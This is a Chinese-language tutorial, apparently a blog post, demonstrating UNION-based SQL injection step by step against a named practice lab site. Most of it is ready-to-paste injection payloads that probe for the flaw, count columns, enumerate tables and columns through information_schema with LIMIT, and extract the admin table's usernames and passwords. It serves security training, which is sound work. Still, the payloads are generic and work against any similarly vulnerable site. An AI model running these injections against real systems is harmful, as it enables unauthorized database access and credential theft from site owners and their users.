【SQL注入】 sql注入中的union和limt关键字的使用解析

我将用测试靶场做演示，拿下网站数据库来向你展示sql注入全过程和思路

一、首先要找到注入点
[http://rhiq8003.ia.aqlab.cn/?id=1]

二、判断是否存在sql注入漏洞

构造and 1=1/and 1=2查看页面是否有异常，若有异常，即有可能存在注入，还可通过该语句判断该站点是否有WAF

三、查询当前表的字段数

**构造order by x，当页面返回异常时，利用x减一即可得到当前表的字段数。 **

四、查询显错点

构造and 1=2 union select 1,2,3，若页面显示了我们构造的1，2，3，则对应的字段即为显错点。

五、使用union和limt关键字获取网站全部数据

第一个表admin

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

字段1id

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 0,1

字段2username

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 1,1

字段3password

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘admin’ limit 2,1

获取用户名

and 1=2 union select 1,username from admin limit 0,1

获取密码

and 1=2 union select 1,password from admin limit 0,1

第二个表dirs

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1

字段1paths

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘dirs’ limit 0,1

第三个表news

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 2,1

字段1id

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘news’ limit 0,1

字段2content

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘news’ limit 1,1

第四个表xss

and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1

字段1id

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘xss’ limit 0,1

字段2user

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘xss’ limit 1,1

字段3pass

and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name=‘xss’ limit 2,1